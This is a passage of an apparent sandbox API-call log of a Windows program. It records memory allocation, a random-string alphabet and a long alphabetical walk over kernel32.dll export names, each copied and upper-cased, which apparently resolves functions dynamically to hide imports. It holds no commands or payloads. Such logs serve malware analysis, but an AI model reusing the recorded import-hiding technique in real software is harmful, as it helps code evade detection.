(lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.894] GetTickCount () returned 0x36562 [0131.894] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.895] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0131.895] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0131.895] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0131.895] lstrlenA (lpString="kernel32.dll") returned 12 [0131.895] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0131.895] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0131.895] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0131.895] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0131.895] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0131.895] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0131.896] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0131.896] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0131.896] lstrlenA (lpString="ADDATOMA") returned 8 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0131.896] lstrlenA (lpString="ADDATOMW") returned 8 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0131.896] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0131.896] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0131.896] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0131.896] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0131.896] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0131.896] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0131.896] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0131.896] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0131.896] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0131.896] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0131.896] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0131.896] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0131.896] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0131.896] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0131.897] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0131.897] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0131.897] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0131.897] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0131.897] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0131.897] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0131.897] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0131.897] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0131.897] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0131.897] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0131.897] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0131.897] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0131.897] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0131.897] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0131.897] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0131.897] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0131.897] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0131.897] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0131.898] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0131.898] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0131.898] lstrlenA (lpString="BACKUPREAD") returned 10 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0131.898] lstrlenA (lpString="BACKUPSEEK") returned 10 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0131.898] lstrlenA (lpString="BACKUPWRITE") returned 11 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0131.898] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0131.898] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0131.898] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0131.898] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0131.898] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0131.898] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0131.898] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0131.898] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0131.898] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0131.898] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0131.898] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0131.898] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0131.898] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0131.898] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0131.899] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0131.899] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0131.899] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0131.899] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0131.899] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0131.899] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0131.899] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0131.899] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0131.899] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0131.899] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0131.899] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0131.899] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0131.899] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0131.899] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0131.899] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0131.899] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0131.899] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0131.899] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0131.900] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0131.900] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0131.900] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0131.900] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0131.900] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0131.900] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0131.900] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0131.900] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0131.900] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0131.900] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0131.900] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0131.900] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0131.900] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0131.900] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0131.900] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0131.900] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0131.900] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0131.900] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0131.901] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0131.901] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0131.901] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0131.901] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0131.901] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0131.901] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0131.901] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0131.901] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0131.901] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0131.901] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0131.901] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0131.901] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0131.901] lstrlenA (lpString="BEEP") returned 4 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0131.901] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0131.901] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0131.901] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0131.901] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0131.901] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0131.902] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0131.902] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0131.902] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0131.902] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0131.902] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0131.902] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, 